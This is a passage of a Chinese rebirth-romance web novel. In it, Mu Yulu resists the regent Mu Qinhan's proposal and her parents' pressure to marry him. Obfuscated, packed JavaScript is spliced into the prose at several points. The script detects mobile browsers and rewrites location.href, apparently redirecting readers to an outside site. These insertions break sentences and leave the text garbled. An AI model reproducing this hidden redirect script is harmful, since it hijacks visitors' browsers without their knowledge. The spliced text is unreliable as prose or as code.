不知道沐毓露是没听清他说了什么，还是别扭地不敢回答，她小声地哼唧了一下，然后又昏昏沉沉地睡了过去。 穆衾寒等了一会，没有等到她的回答，反而等来了她陷入沉睡中均匀的呼吸声，一时有些哭笑不得。 他起身注视着她安静的睡颜，然后轻轻叹了口气，替她盖好被子。 盖被子时触碰到沐毓露滚烫的手，他这才发现她又开始发烧了。 掀起被子的手停在了半空中，他不知在想些什么，眸中光芒忽明忽暗，片刻之后他再次俯身握住她的手，随她一起钻进了被窝里。 沐毓露这一睡便睡到了次日天亮。 醒来时窗外阳光正好，天光倾泻而入，洒在躺在她身旁的穆衾寒脸上。 沐毓露先是一愣，然后瞳孔地震。 穆衾寒的确生了一张过分好看的脸，只是此时此刻，他这张脸怎么也不该出现在她的床上吧？ 沐毓露抽搐着唇角动了动身子，这才发现他不仅躺在自己的床上，还把她紧紧揽在了怀里。 两个人就以这样暧昧的姿势，盖着同一床被子，躺在同一张床上。 对于沐毓露而言，人间地狱也不过如此。 毕竟她现在可是跟害死她的活阎王躺在一起。 咽了口唾沫，她极缓慢地推开穆衾寒的胳膊，想要悄悄摆脱他的桎梏。 无论如何先离开这间屋子再说，若是被旁人发现她和穆衾寒躺在一张床上，这还如何了得。 以她对沐玉罡的了解，他一得知此事必然会立刻从山庄飞奔回来，把她打包扔给穆衾寒作妾。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361936|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >若真如此岂非是重演她上一世的悲剧？ 沐毓露惊出了一身冷汗。 她屏住呼吸小心翼翼地从穆衾寒怀里钻出来，然而还没来得及喘一口气，下一秒便被他攥住了手腕。 沐毓露吓得倒吸一口凉气，僵在原地不敢动弹。 却见穆衾寒只是调整了一下姿势，顺手将她重新拉进了怀里，紧闭着双眼并没有醒来的意思。 沐毓露这才松了口气。 穆衾寒没有醒，她还有离开这里的机会。 遇见穆衾寒跑就对了——现在她的脑子里只有这一个想法，虽然不知道他到底为什么会出现在这里，但无论如何先逃了再说。 她试探性地动了动胳膊，见穆衾寒还是没有醒，于是加大了手上的力气，想要一口气从他怀里挣脱出来。 穆衾寒却是被她的动作给闹醒了，但他似乎很疲惫的样子，并没有睁开眼，而是闭着眼睛紧了紧搂在沐毓露腰间的手，把她更加牢固地圈进了自己怀里：“乖，别闹，让我再睡一会儿。” 两个人实在离得太近，近到他说话时沐毓露甚至感受得到他胸膛的震动，听得到他砰砰的心跳声。 这下沐毓露老实了，根本不敢再动弹，她在心里默默祈祷穆衾寒赶紧睡着，等他睡着了她就还有机会继续尝试逃出去。 然而等了半天也没等到穆衾寒再次入睡。 虽然他没有睁眼，但一只手始终不紧不慢地轻拍着沐毓露的后背，似乎是在安抚她，又像是在哄她入睡。 沐毓露浑身都僵硬了。 穆衾寒吃错药了不成？ 前世她为了爬上他的床，是给他下过药没错，但那是上辈子的事情，这辈子她已经痛改前非，连一丁点这样的念头都没有。 况且她前段时间病成那个鬼样子，也根本没有机会给他下药啊？ 沐毓露抬起头悲愤交加且疑惑万分地注视着穆衾寒，不明白他现在这个样子又是在闹哪一出。 似乎是感受到了沐毓露的凝视，穆衾寒终于睁开眼睛，然后做了一件沐毓露怎么也无法理解的事。 他居然抬手抬手刮了刮她的鼻子，然后带着笑意道：“终于退烧了，你这几日病着，倒是把我折腾得不轻。” 穆衾寒不知道的是，沐毓露此刻已经是三魂丢了两魂，整个人都快被吓得魂飞魄散了。 她晕晕乎乎地问：“我折腾你什么了？” 穆衾寒的声音里竟然带了点委屈，仿佛是在诉苦，又像是在邀功：“这几日你高烧不退一直喊冷，我在屋里架了几个火炉都没用。” “所以你只好抱着我给我暖身子？”打断了穆衾寒的发言，沐毓露倒吸一口凉气，再次露出见了鬼的表情，然后发出尖锐爆鸣：“你不会这样子抱着我睡了好几个晚上吧？” 沐毓露的反应倒在穆衾寒的意料当中，然而他完全会错了意，不仅没有松开惊恐万分的沐毓露，反而更紧地抱住她：“别担心，过两日我会亲自上沐府提亲，让你以贵妾的身份嫁入王府，绝不让你受一点委屈。” 沐毓露听罢哽咽着闭上眼，一直悬着的心终于死了。 18. 第18章 这厢沐毓露已经活人微死，那厢穆衾寒还在自说自话，以为她是心中害羞，所以才不敢睁眼看他：“这几日我在府中照顾你，这件事绝无旁人知晓。我知道此事于礼不合，对你名声有碍，因此瞒得密不透风，你且放心就是。” 听闻此言沐毓露终于觉得自己有点活了过来。 还好此事没有旁人知晓，算是不幸中的万幸。 她深呼吸让自己冷静下来，然后拿开穆衾寒覆在自己腰间的手，尽量克制住情绪，语声平静地道：“多谢王爷垂爱，这几日也感谢您的照顾，民女无以为报，唯愿来生当牛做马，以报您的大恩大德。” 她鼓起勇气抬眼望向穆衾寒：“不过民女自知身份低微，无法与王爷相配，王爷也不必因为这件事情上门提亲，既然这几日的事只有你我二人知晓，那便于民女的清誉无碍。” 一口气说完这许多话，她琢磨了一下有没有遗漏什么关键信息，最后补充了一句：“总之我还是嫁得出去的，王爷千万不要因为可怜民女而娶我入府，您若是先娶了贵妾，往后可还怎么娶王妃。” 她这些话倒也说得很是得体，听起来十分为穆衾寒考虑，实际上却是在极力撇清二人的关系。 穆衾寒听完她这些话沉默了许久，然后半撑起身子，支着脑袋打量沐毓露。 看来她的病果然是彻底好了，如今这姑娘眼中再无前几日那能够将人灼伤的炽热，取而代之的是隐隐的冷漠与嫌恶。 看得出来她在尽力隐藏自己的情绪，但她想要拒他千里之外的心思实在是太强烈了，怎么也掩盖不住。 望见她目光里掩不住的厌恶之意时，穆衾寒心里莫名涌起一股得而复失的恐惧。 他也深深地吸了一口气，将心中的不悦压了下去，然后面色平静地道：“你说的这些话可是真心话？” 沐毓露忍不住在心里冷笑。 难道他还以为自己是在以退为进，表面上是在说一些冠冕堂皇的话，实际上巴不得嫁给他？ 以前怎么没发现穆衾寒如此自恋。 沐毓露直视着穆衾寒，一字一句地道：“民女所言皆出自真心。” 穆衾寒有些烦躁，他与沐毓露对视，企图从她的眼中找出一些别的情绪。 然而除了厌恶与退避，他再也无法从她眼中觅得从前的仰慕与痴缠。 良久，他嘴角扬起一抹笑，眼里却没有丝毫笑意：“很好，你欲擒故纵的手段不错。” 沐毓露：？ 这个人到底怎么回事？狂妄自大又不知好歹，现在沐毓露不仅觉得他自恋，而且觉得他多多少少有点毛病。 她实在是不想继续同他演这一出戏，冠冕堂皇的话也不想再说，直接对穆衾寒道：“还请王爷莫要再说笑了，放过民女吧。” 穆衾寒终于绷不住了。 在沐毓露说出这番话后，他恢复了平日冷峻的表情，目光森森地盯着她。 他已经舍下面子迁就她，可是这女人怎么翻脸比翻书还快？ 就好像前几日的她是被夺了舍，所以才会抱住他不肯撒手，口口声声说爱他，爱得死去活来爱得不能自已。 两个人就这样沉默地僵持着。 突然沐毓露想到了什么，张口问道：“王爷不妨直言，您到底想要从沐府得到什么？” 她想起前段时间穆衾寒夜闯她的闺房，想必便是因为沐府里面有他想要的东西，他应当是在寻找那个东西时惊动了府中护院，所以才会藏进她的房中躲避护院们的搜查。 反正他闯入沐府躲进她的房间，要么是为了打探消息，要么是为了窃取宝物，总不可能是为了找她。 越想沐毓露越觉得她的推测十分合理。 穆衾寒作为朱雀国的摄政王，这样显贵的身份，打猎受了伤在哪里养伤不好，偏偏要求到沐玉罡的别院山庄养伤。 怕是为了方便在养伤期间进出沐府继续搜寻他想要的那件东西吧？ 如此一来便什么都说得通了。 看来那件东西沐玉罡藏得很深，穆衾寒几番出入沐府都未曾得手，于是他就想到娶她为妾这么一个损招。 只要娶了她，他就是沐府的女婿了，以后进出沐府岂不是更加方便？ 这就是他蓄意接近她的真正原因。 沐毓露再次倒吸一口凉气。 她虽然不太聪明，但总不至于傻到当真相信他是因为喜欢她才打算娶她，现在看来他果然是另有所图。 他是在利用她。 穆衾寒此人，果然心机深沉。 沐毓露打了个寒颤，咬咬牙说道：“王爷我跟您说实话，我是沐府最不受待见的小姐，不管您想要从沐府得到什么，娶我都是有弊无利的。” 她知道自己此时直接点破穆衾寒的目的风险很大，以他的性格当场杀她灭口都有可能。 可若是顺从穆衾寒嫁给他，她便重蹈了上一世的命运，伸头是一刀缩头也是一刀，与其嫁给他之后再窝窝囊囊地死，不如现在就让他给自己一个痛快。 事实上穆衾寒在听见沐毓露问他想要从沐府得到什么的时候便沉了脸色，越往后他的脸色便越发难看。 这是上一世的沐毓露最常在穆衾寒脸上看到的表情，即便重活一次，看见露出这样森寒表情的穆衾寒时她仍然会忍不住畏惧。 过了许久，穆衾寒突然发出一声冷笑，那笑声里还有些许的无奈。 “沐府的确有我想要的东西。”他抬手勾起沐毓露的下巴，然后顺势从她的脸颊抚过：“你也是其中之一。” 沐毓露张了张嘴又闭上。 此情此景她实在不知道该说些什么。 她开始在脑海里复盘，她到底是什么时候招惹了这个阎王？ 思来想去也没有呀。 在天下第一楼她分明见到了他就跑，第二次与他相见时她也坚决地表明了自己的态度。 她不愿意嫁给他，哪怕与他沾染上一丝一毫的关系都不愿，这样还不够吗？ 还是说穆衾寒就喜欢欲拒还迎的风格，是她的态度还不够坚定？ 想到这里沐毓露再一次鼓起勇气道：“我不会嫁给你的，就算是全天下的男人都死光了我也 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沐毓露听出来了，如前世一般，他又开始拿自己的身份来压她。 只不过前世他总是向自己强调他王爷的身份，是为了时刻提醒她配不上他，他们两人之间有如云泥之别，她虽然使尽龌龊手段成功嫁给了他，却也不要再妄想其他。 但这一世的他似乎脑子出了点问题，他拿王爷的身份来压她，居然是为了强娶她？ 沐毓露彻底不想跟他说话了，她猛地坐起身来，将穆衾寒逼得往后退了一退。 趁穆衾寒怔神的一瞬间，她跳下床飞快地朝门外跑去。 穆衾寒倒也没有拦她，只是悠悠地行至门口，挑眉看她想要干嘛。 却见沐毓露坚定地朝院子外面那口人工湖跑去。 倘若他拿出王爷的身份逼她嫁给他，那她除了认命嫁入王府，也没有别的办法了。 她想好了，与其等到进入王府之后重复上一世的凄惨命运，那还不如现在就去死。 现在去死至少她还能死一个痛快，若真等到嫁入王府，她便彻底落入了穆衾寒的股掌之中，那时候才是求生不得求死不能。 沐毓露死志坚定，并非做做样子而已，脚下的步伐越来越快，将至湖边时她咬牙纵身一跃—— 没想到并未坠入冰凉的湖水之中，而是一头撞进一个温暖的怀抱。 穆衾寒不知何时追了上来，在她投湖的一瞬间把她拽进怀里，然后直接将她打横抱起。 他的面色沉得可怕，周围的空气也冷得吓人，仿佛快要凝结成霜。 投湖投到一半被打断，沐毓露的勇气可谓是一鼓作气再而衰三而竭，方才她气血上涌一心求死，现在却有点犹豫了。 再加上穆衾寒此刻的表情实在是阴沉得可怕，沐毓露前世长期居于他的淫威之下，说不畏惧是不可能的。 于是她安静了，老老实实蜷缩在穆衾寒怀中，任由他将自己抱回房里。 19. 第19章 抱着沐毓露回到屋里，穆衾寒垂首盯了她半晌，盯得沐毓露直冒冷汗，他这才重重地将她扔到床上。 沐毓露被扔到床上后立马钻进被窝里，紧紧地攥住被子一角，戒备地注视着站在床前的穆衾寒。 穆衾寒却是没有再说什么，沉默地与她对视片刻后，他终于转身离开。 沐毓露本来已经做好了承受他的怒火的准备，却没想到他竟然就这样放过了她。 她的心情顿时有些复杂。 她今日如此冒犯他，但他居然就这样轻轻放下，这根本就不是她熟悉的穆衾寒，这样的穆衾寒令她感到陌生且害怕。 她很清楚自己肯定激怒了穆衾寒，以她对此人的了解，就算现在他没有对她做什么，日后也一定没有她好果子吃。 是了，今天他一定是被气昏了头，所以还没有想好该怎么罚她，等到他回王府冷静下来之后，一定会对她展开疯狂的报复。 沐毓露深深地吸了一口气，无力地瘫倒在了床上。 胳膊拧不动大腿，蚍蜉也不能撼树，随便穆衾寒怎么着吧，她躺平了，无所谓了。 事已至此，先睡觉吧。 折腾了这大半天，她实在是很累了。 就算要迎接穆衾寒的雷霆之怒，那也得睡饱了觉才是。 她这一觉睡得十分平静。 未来十几天都十分平静。 穆衾寒没有来府上找茬，沐玉罡也没有杀回府里问罪，仿佛之前沐毓露与穆衾寒的对峙只是她病中的一场梦，实际上什么都没有发生过。 沐毓露就这样提心吊胆地过了十几日，直到半个月后穆衾寒离开别院山庄，沐玉罡等人也打道回府。 便在沐毓露松了口气以为这件事情真的翻篇之后，沐玉罡在一个万里无云的大好天气里命人把她院前的那口人工湖填了。 那个湖终究还是逃不过香消玉殒的命运。 沐毓露战战兢兢地注视着小厮们一铲子一铲子地将湖给填了，一颗心再次忐忑地悬了起来。 沐玉罡无缘无故填湖做甚？ 她半月前又一次想要跳湖，沐玉罡回府的第一件事便是命人填湖，这两件事情很难不让人联想到一起。 难道他突然这样做，是因为穆衾寒终于开始报复她，跑到沐玉罡那里去告了她的状？ 不能吧，穆衾寒这个人虽然睚眦必报，但不至于这么幼稚吧？ 这一边沐毓露悬着颗心胡乱猜测，另一边沐玉罡同样是百思不得其解。 他怎么都想不通，分明穆衾寒在别院山庄将养了大半个月，平日里闭门不出，也不肯见客，他那两个打扮得花枝招展的女儿自然都没能入他的眼。 怎么伤好回府之后，他突然就上门提亲了呢？ 而且提亲的对象还是生了场大病暴瘦十斤病容残损的沐毓露。 这段时间沐毓露独自在府中养病，并没有跟去山庄，她到底是使了什么法子勾引了穆衾寒，让他这么快就上门提亲？ 单纯只是提亲倒也罢了，穆王爷在离开山庄前特意把沐玉罡叫来，嘱咐他回去就把府里的人工湖填了。 王爷亲口对他说：“听闻大小姐曾不小心坠入湖中，此事绝不可再有。” 沐玉罡唯唯诺诺地点头，大气都不敢出一口。 穆衾寒竟连沐毓露前段时间落水之事都知晓，看来他已经关注了她很长一段时间，提亲之事并非他一时兴起。 穆王爷对沐毓露这丫头居然是认真的。 回到府里沐玉罡连水都没喝一口，着急忙慌地吩咐人立刻去把沐毓露院子跟前的那口湖填了。 不到半日的工夫一切便已办妥，他这才松了一口气，坐在太师椅上认真思索起这件事情来。 事到如今他倒真有点摸不清穆王爷的品味了。 这位王爷是先帝幼子，十二岁就跟着先帝上战场，在军中摸爬滚打了七八年，朱雀国最为精锐的两支军队都是他的部将。 打了无数场胜仗后他回到京中，没过多久先帝驾崩，之后太子即位，然而一切走上正轨还不到一年，现任朱雀国君突然重病不起，穆衾寒一跃成为了朱雀国的摄政王。 京中关于这位年纪轻轻却手握摄政大权的王爷的传闻有很多，真真假假难以分辨，但有一点是众人皆知的。 那就是穆王爷他不近女色。 甚至有传言说他不爱女人，有断袖之癖。 如今穆衾寒向沐府提亲，这个谣言也就不攻自破。 但是沐玉罡依然想不通，向来不近女色清冷得犹如高岭之花的穆衾寒，到底看上了沐毓露什么？ 按理说他如此位高权重，什么样的美女贵女才女没见过？京中无数权贵上赶着把女儿往他跟前送，也没见他对哪一个上心过。 不仅不上心，他还把那些送女儿的大臣都斥责了一遍，统统赶了回去。 那些才貌双全的贵女穆衾寒都看不上，那他到底是看上了沐毓露什么？ 思来想去沐玉罡觉得答案只有一个，穆衾寒只有可能是看上了沐毓露的美色，毕竟她唯一拿得出手的也就只有她的美色了。 这丫头的确生得很美，若是忽略脾气性格品性，她拥有这等美貌，在京中也算得上是万里挑一了。 所谓娶妻娶贤，娶妾娶貌，沐毓露入王府为妾，也的确是不需要什么才学品性的。 长得好看也就是了。 想通之后沐玉罡摇了摇头，他自以为猜透了穆衾寒的心思，不由叹了口气，呵，还得是男人最了解男人。 不管怎么说，沐毓露算是攀上高枝了，连带着整个沐府都要鸡犬升天，有些话他不得不嘱咐。 沐毓露从小不在他们身边长大，在外边野惯了，完全不懂得侍奉夫君的道理，若是入了王府惹出什么祸事，得罪了穆王爷，那可就是连累全家的罪过了。 思及此他抬手唤来小厮：“去把夫人和大小姐都给我叫过来。” 小厮应了一声，忙不迭往沐毓露和沐昭氏的院子去。 沐玉罡没有等多久，书房外便传来了叩门声，紧接着是小厮的说话声：“老爷，大小姐来了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沐毓露神情恍惚但语声坚定地打断了沐玉罡：“女儿不嫁。” 沐玉罡嗯了一声，很满意地点点头：“你看你这就懂得矜持了，这样就很好嘛。你从前成天就想往人家身上扑，那像什么样子？你记住了，想要留住男人的心，就要懂得进退有度。” 沐玉罡长篇大论起来没完没了，沐毓露再一次打断了他：“女儿并非矜持，我是真的不想嫁给他。” 为表决心，她还咬了咬牙放了句狠话：“若您非要让我嫁，那我宁愿绞了头发上山做姑子去。” 沐玉罡毕竟是个商人，察言观色的本事还是有的，通过观察沐毓露的表情，他发现这丫头是真的不想嫁。 这就奇了。 沐玉罡问她：“为何不嫁？” 沐毓露只是一味地摇头：“我就不嫁。” 沐玉罡冲她挥了挥手：“那不行，除非你说出个理由来，不然就收拾收拾嫁了吧。” 沐毓露有些绝望，总不能告诉沐玉罡让她嫁给穆衾寒就是把她往火坑里推，她总有一天会被穆衾寒害死吧。 犹豫了一下，她决定故技重施，闭着眼睛道：“女儿已经有心上人了，此生非他不嫁。” 20. 第20章 沐玉罡皱起眉头：“什么心上人？你的心上人不就是穆王爷么？” 说着他突然想起了什么：“难道你指的是之前那个什么朱砂痣？” 便在这时门外传来哐当一声脆响，父女两人同时回头望去，但见沐昭氏正尴尬地蹲在门口捡地上的托盘。 她捋了捋耳畔的碎发，将托盘交给身后的侍女，吩咐她再去换一盏茶水来，然后迈步走进书房：“听说这丫头又忤逆老爷，我本来想端盏菊花茶来给您去去火，结果一不小心摔地上洒了。” 沐玉罡招招手示意她过来：“先别忙活这些了，这都是小事，你女儿的婚事才是大事。” 他一脸的恨铁不成钢：“你来得正好，正好过来听听你女儿说了些什么混账话。穆王爷派人上门提亲，她居然还不满意，非要嫁给什么朱砂痣？这不是胡闹嘛！” 沐昭氏转头望向沐毓露，她倒不似沐玉罡那般气急败坏，脸上的表情因为漠然而显得平静。 沐毓露已经很久没有见过沐昭氏了。 刚被接回沐府的时候她还每日都同两位妹妹一起向沐昭氏请安，虽然她从小不在沐昭氏身边长大，对于母亲的概念其实很模糊，沐昭氏对她也没有太深的感情，但两人毕竟是亲生母女，日常的请安问候还是不能免的。 那时候沐昭氏待她也还算和气，偶尔也会嘘寒问暖，问她在沐府有没有什么不习惯。 但也就仅限问问而已。 就算她真的有什么不习惯，沐昭氏其实也不大顾得上她。 她正忙着和王姨娘夺权，沐晚意年纪也逐渐大了，早在两年前她便张罗着要为她好好相看夫家。 这一桩桩一件件都是要紧事，唯独沐毓露的事情不那么重要。 刚开始沐毓露还是很愿意亲近母亲的，可渐渐地她发现母亲与她之间始终有一层隔阂。 那种感觉很微妙，她无法形容，也说不出到底是为什么。 难道就因为她从小没有养在她的身边么？ 可是从小不在母亲身边长大，难道是她这个做女儿的错么？ 沐毓露逐渐不爱往沐昭氏的院子去了，后来她一心想要嫁入穆王府，行事越发出格，总是连累沐昭氏挨沐玉罡的骂，沐昭氏便越发不喜欢沐毓露出现在她的眼前，干脆以不喜吵闹为由免了她日常的请安问候。 其实沐毓露一直都知道，母亲哪里是不喜欢吵闹，她只是不喜欢她而已。 今日再见沐昭氏，她发现母亲对她的态度一如既往淡漠，但是望向她的目光里多了些别的意味。 有些不解，有些疑惑，有些犹疑，还似乎有一些嫉妒。 沐毓露的目光中也流露出不解之意，她甚至怀疑是自己产生了错觉。 沐昭氏嫉妒她什么？ 便在这时沐昭氏开口道：“老爷莫急，且先听她说说她的心上人是谁。” 她语声平静，带着点劝诫的意味对沐毓露道：“你可要想清楚了，莫说京城，便是放眼整个朱雀国，论身份论品性，还有哪家子弟比得上穆王爷？” 沐玉罡点点头嗯了一声：“你娘这话说得不差，全天下也找不出比这更好的亲事了，你居然还不愿意？听你爹娘的，乖乖嫁进王府，以后有你的好日子，爹娘又不会害你。” 沐毓露一边听一边在心里冷笑。 沐玉罡说得倒也没错，嫁给穆衾寒之后她的确过上了好日子，只不过是吃不了兜着走的好日子。 她坚定地摇头：“我要嫁给我喜欢的人。” 沐昭氏皱了皱眉：“你这孩子怎么油盐不进呢？” 沐玉罡则沉声道：“那你说说，你那心上人姓甚名谁，何许人也？他是做什么的，家境如何，每月有多少俸禄？” 沐毓露：“……” 姜还是老的辣，沐玉罡这些问题一下子就把她给问倒了。 最开始在沐玉罡面前扯什么朱砂痣，是为了避开去别院山庄偶遇穆衾寒而找的借口，没想到现在她又要把这个理由拿出来用。 更没想到沐玉罡这一次想起来问她朱砂痣是谁了，还问得这么详细。 她就算是编也编不出来呀。 脑海里闪过一道道身影，然而这些人都不堪大用，最后她只好将目标锁定在了那晚爬书阁楼顶看月亮的人，也就是她前世的救命恩人身上。 就决定是你了。 她不动声色地吸了口气，面不改色心不跳地道：“朱砂痣之所以是朱砂痣，不仅仅是因为他生得好看，还因为他行踪神秘。” 她在心里嗯了一声，觉得自己说得很有道理，于是鼓励着自己继续道：“我虽然只见过他几次，但早已对他芳心暗许，决定此生非他不嫁。” “姓名和家世其实都不重要，重要的是他本人是否优秀，毕竟成婚之后日子过得是否舒心适意，并不是身份和地位能决定的，最重要的还是看一起过日子的人。” 沐毓露企图岔开与身世相关的话题，却被沐玉罡无情打断：“别说这些有的没的，你既说他优秀，那便详细说说他到底有多优秀？” 沐毓露咽了口唾沫。 沐玉罡和沐昭氏目不转睛地盯着她。 短暂的沉默过后，沐毓露硬着头皮道：“首先他生得美貌。” 沐昭氏听罢一脸无语。 沐玉罡则抓住了重点：“他生得再漂亮还能漂亮得过穆王爷去？” 沐毓露一副为心上人鸣不平的样子：“父亲您这就是孤陋寡闻了，需知天下何其大，这世上的美人多如过江之鲫，又不只穆王爷一个。” 沐玉罡哦了一声：“那你倒说说此人有多美貌？” 沐毓露想了想道：“虽然每次见到他，他都戴着一个面具，但他的眼睛是我这辈子见过的生得最美的眼睛，我都不敢想他的脸得生得多好看，才能配得上这样一双眼睛。” 沐昭氏皱了皱眉：“所以其实你根本就没有见过他的长相，说这么多都只是你的想象？” 沐玉罡也皱了皱眉：“说点别的你亲眼见过的优点。” 沐毓露又想了想道：“他还武功高强，是个绝顶高手，尤其是轻功登峰造极，再高的房顶他都能一跃而上，根本不在话下。” 听到这里沐玉罡有点坐不住了：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这回连沐昭氏都记住了：“三州堇璱。” 沐毓露有些心累：“什么堇璱？” 完了，记不住心上人名字怎么办？ 沐玉罡的表情逐渐从震惊转为无语：“连人家的名字都记不住，他算你哪门子朱砂痣？” 说完他生气地将袖子一挥：“得了，你还是消停一点儿，收拾收拾赶快嫁给穆王爷吧，别一天到晚给你爹找事儿。” 沐昭氏点头帮腔道：“显然你撒谎都没做好功课，你要骗我们，至少也要编一个可信度高一点的人出来吧？” 沐玉罡冷哼一声：“退一万步讲，就算他是你的心上人，你跟他也是没可能的，人家可是天下第一高手，要什么样的美人没有？难道他还看得上你？” 沐昭氏继续帮腔：“至少穆王爷已经上门提亲，这门亲事近在眼前，不比那虚无缥缈的第一高手靠谱得多？” 21. 第21章 沐玉罡嗯了一声，觉得今日沐昭氏说话格外顺耳，不由赞赏地望了她一眼：“你娘是过来人，她比谁都知道嫁给一个好男人的重要性。” 话题都说到了自己身上，他怎么可能免得了一番长篇大论：“女人这一辈子最要紧的不就是嫁个好人家？若是能像你娘一样找到一个负责任的好男人，为他生儿育女操持家务，你这一生也就有所依靠了。” 他叹了一口气：“说到底是你娘没有将你管教好，任由你胡作非为，在京中坏了名声，否则以你的样貌和家世，早在一两年前就应该定亲了，怎么会拖到将要及笄才有人上门提亲？” 眼见着话锋又转到了沐昭氏的身上，她赶忙接话道：“不过那提亲的人竟然是穆王爷，小露出嫁的过程虽然曲折，结果却是意料之外的好，老爷在京中有了穆王爷的助力，生意一定会更上一层楼。” 她还不忘拍一拍沐玉罡的马屁：“的确是我没有教养好小露，她坏了名声不说，还连累了晚意和星子的亲事。其实呀我也知道，穆王爷怎么可能单单是为了她上门提亲呢？想来还是老爷的功劳，若非你生意越做越大，咱们沐家在京城的地位越来越显赫，穆王爷怎会想到拉拢咱们？” 沐昭氏的马屁拍得是恰到好处，沐玉罡很受用，乐呵呵地点着头，继续对沐毓露道：“虽然说天底下像你爹这样的好男人绝无仅有，也就被你娘给碰上了，但穆王爷也是不可多得的良婿，我也还是很满意的。” 夫妻俩就这么一唱一和的把沐毓露的婚事敲定了。 沐毓露自然不服，她收了脸上的笑容，冷着脸决定硬扛到底：“穆王爷再好，就算说破天去我也不嫁。我已经不喜欢他了，此生就算要嫁，也要嫁给我真正喜欢的人。你们就算是我的父母，也不能逼着我上花轿进王府。” 沐毓露这话说得很不客气，沐玉罡的好心情被她这番话说得烟消云散，当即也冷了脸吼道：“你好大的口气，还敢跟你老子娘叫板了不成？你还没有嫁进王府，还没有成为王爷的贵妾，就敢这么跟我说话了？” 沐毓露冷笑一声：“我怎么跟您说话，同我有没有嫁进王府无关。文人不平则鸣，女儿遭受了不公的待遇，还不能说两句话了？” 沐玉罡气得就差翻白眼了，他一把将桌子上的杯具茶盏全部打落在地，陶瓷在地上破碎的声音同沐玉罡的吼叫声一同响起：“老子真是造了八辈子的孽，才养出你这么个不孝女。好啊，你有本事得很，还没有嫁进王府就敢这么跟你老子说话，等哪天真的进了王府，岂不是要把我生吞活剥了？” 沐毓露站在原地丝毫不让：“您说的这是哪里话，除非我们是仇人，否则无缘无故的女儿为什么要将您生吞活剥？” 沐玉罡气得一个劲儿地冷笑，沐昭氏则赶紧唤下人进来收拾地上的碎片，同时对沐玉罡道：“老爷别气，为这个不懂事的丫头气坏了身子不值。我看时候也不早了，老爷说了这许多的话想必也饿了，我这就去厨房让人备一些您喜欢的菜。” 说完她福了福身，连忙退了出去，趁机逃离战场。 沐府中的所有人都熟知沐玉罡的脾气，他向来是个说一不二的性子，所有人都只能顺着他的话讲，从没人敢忤逆他。 今日沐毓露如此不知进退，居然敢跟他当面吵起来，等下这父女二人还有得闹，怕是沐玉罡动手打人都有可能，沐昭氏此时不退更待何时。 这样的场面沐昭氏不敢久待，下人们自然更不敢久留，他们战战兢兢地收拾好地上的碎片，很快便随沐昭氏一起退了出去。 书房里霎时间便只剩下还在对峙的沐毓露与沐玉罡两人。 眼看着沐玉罡就要发作，忽然沐毓露话锋一转道：“要不这样吧，干脆在我及笄那日抛绣球招亲。” 她这句话把沐玉罡酝酿好的骂人的话都噎了回去，他瞪着沐毓露看了半晌：“你是疯了不成？我沐玉罡的女儿，还用得着抛绣球招亲？” 紧接着他气鼓鼓地道：“再者说了，穆王爷前脚上沐府提亲，我们后脚就抛绣球，这不是明着打王爷的脸？劳烦您老人家高抬贵手，给沐府上下一条活路吧。” 沐毓露丝毫不理会沐玉罡的阴阳怪气，看起来十分诚恳地道：“您不必这样，事到如今女儿也跟您说实话了吧，其实三州堇璱对我一见钟情，早就言明此生非我不娶，只不过此前我尚在犹豫，还没有正式答应他而已。” 沐玉罡听到这番话的第一反应是笑，他笑得前仰后合，肚子上的肉随着他的动作一起不停地颤抖。 笑了好半天他才直起身子抹抹眼泪：“说你撒谎不做功课，你还真就连草稿也不打。人家此生非你不娶？” 他夸张地哈了一声：“你倒是先把人家的名字记住了再说。” 沐毓露完全没有被沐玉罡激怒，她的声音平静而坚定：“是他对我一见钟情，又不是我对他一见倾心，我为什么要刻意记住他的名字？” 她叹了一口气：“不过随便您怎么说吧，您要是不相信的话大可以赌一赌。” 她的态度倒是令沐玉罡有些犹疑：“什么赌一赌？” 沐毓露笑了笑，胸有成竹地说道：“我都说了三州堇璱此生非我不娶，您若是硬要把我塞进花轿嫁给穆王爷，他必然是会来抢亲的。” 说到这里沐毓露停顿了一下，不动声色地观察着沐玉罡表情的变化：“到底是趁现在去回绝了穆王爷，以防来日祸事，还是等到时候三州堇璱把我劫走，您再去慢慢跟王爷解释？您是一家之主，这件事情自然是由您决定。” 不待沐玉罡发话，她紧接着道：“自然，您也可以不相信我，就看您敢不敢拿沐府上下的命赌一赌了。” 沐玉罡冷笑着点头，抬手指着沐毓露：“你是不是以为自己翅膀硬了？威胁谁呢你？” 沐毓露不说话了，只是挑衅地撇了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361940|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撇嘴。 此刻的沉默比任何反驳的话语都有用，越是沉默，便越显出她的底气。 她似乎当真无所畏惧。 